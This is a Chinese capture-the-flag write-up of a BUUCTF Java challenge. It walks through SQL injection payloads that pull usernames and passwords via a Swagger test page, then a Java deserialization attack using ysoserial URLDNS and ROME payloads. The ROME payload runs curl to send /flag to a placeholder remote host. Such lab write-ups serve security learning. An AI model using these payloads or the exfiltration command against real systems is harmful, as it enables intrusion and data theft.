1.代码分析
BUUCTF在线评测 (buuoj.cn)打开ctf赛题之后,下载class文件,这个部分是不完整点的源码
在sqldict中存在一个sql注入点,没有采用java的预编译,调用了这个的是在test中,同时,这个采用了swagger接口,这是一个测试页面的接口,我们直接尝试打开这个页面
打开 网址/swagger-ui.html
2.测试点1
这里可以看见有三个可以测试的位置,参考源码中的文件地址,可以发现sql注入点存在在test这个测试中,我们dbName注入sql注入的语句,而出现查询结果的地方是tabledescribe
myapp?a=' union select (select name from user)#(用前一个’闭合dbname,然后select,最后#来注释掉后面的语句)
同时我们把pwd也查出来
myapp?a=' union select (select pwd from user)#
记录下来name和pwd
3.测试点2
到下一个测试点login
先点一下右面的type model,输入刚刚记录的内容
点击try out
可以发现登录成功了,而这个data值,后面的部分在反序列化入门博客中有提到,这个rO0AB是一个对象的序列化后base64加密了,而前面这个bearer部分我们直接搜关键词,可以知道
"Authorization: Bearer" 是一种在 HTTP 请求头部中用于传递访问令牌(Access Token)的常见格式。它用于在客户端和服务器之间进行身份验证和授权操作。
我们知道这是一个令牌,而正好第三个测试点后面中文备注是获取用户信息
4.测试点3
把整个token都输入进去
发现它可以测试到我们的name是admin,所以至少这里可以解码base64之后,反序列化了token之后得到的属性的值
5.利用这个地方进行攻击
首先我们需要一个可以去base64加密序列化内容的脚本,这里我用的是Python写的
import base64
file=open("a.bin","rb")
now=file.read()
ba=base64.b64encode(now)
print(ba)
file.close()
我们待会用这个脚本去base64加密
我们用java构造payload的脚本ysoserialysoserial下载和使用-CSDN博客
找一个不需要三方库的接口使用一下,看看这里是不是可以解析的,这里用的是urldns,远程连接一个网址的接口
我们再dnslog上获取一个网址,直接搜dnslog就行,我前面的博客也用过,这里就不贴网址了
java -jar ysoserial-all.jar
java -jar ysoserial-all.jar URLDNS "https://pnxxcc.dnslog.cn" > f.bin
把f。bin和刚刚的脚本放在同一个文件夹下面之后,修改一下脚本的文件名字运行
我们把这个得出的字符串前加上bearer后放到测试点上尝试
发现有访问,我们确定这里可以去反序列化
我们用ROME去执行crul外带到远程主机上
java -jar ysoserial-all.jar ROME "curl https://远程主机ip:port/ -d @/flag" >flag.bin
重复上面的加密操作
远程主机监听对应的端口
复制上去测试这里就可以得到flag了
但是我昨天确定了很多次,发现弹不出来,也不知道是怎么回事了,有大佬整出来可以留言和我说